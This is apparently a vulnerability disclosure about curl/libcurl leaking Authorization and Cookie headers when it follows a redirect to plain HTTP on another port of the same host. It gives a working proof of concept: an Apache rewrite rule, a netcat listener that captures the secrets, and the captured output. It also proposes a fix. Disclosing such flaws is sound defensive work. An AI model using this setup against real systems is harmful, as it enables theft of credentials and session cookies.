Summary: curl/libcurl can be coaxed to leak Authorization / Cookie headers by redirecting request to http:// URL on the same host. Successful exploitation requires that the attacker can either Man-in-the-Middle the connection or can access the traffic at the recipient side (for example by redirecting to a non-privileged port such as 9999 on the same host). Steps To Reproduce: Configure for example Apache2 to perform redirect with mod_rewrite: RewriteCond %{HTTP_USER_AGENT} "^curl/" RewriteRule ^/redirectpoc http://hostname.tld:9999 [R=301,L] ... the attacker could also use .htpasswd file to do so. Set up netcat to listen for the incoming secrets: while true; do echo -ne 'HTTP/1.1 404 nope\r\nContent-Length: 0\r\n\r\n' | nc -v -l -p 9999; done curl-L -H "Authorization: secrettoken" -H "Cookie: secretcookie" https://hostname.tld/redirectpoc The redirect will be followed, and the confidential headers sent over insecure HTTP to the specified port: GET / HTTP/1.1 Host: hostname.tld:9999 User-Agent: curl/7.83.0-DEV Accept: */* Authorization: secrettoken Cookie: secretcookie The attack could also use HTTPS and a valid certificate, In this case the leaked headers are of course only be visible to the listening http server. This vulnerability is quite similar to CVE-2022-27774 and the fix is similar too: If the protocol or port number differs from the original request strip the Authorization and Cookie headers. This bug appears to be at: -...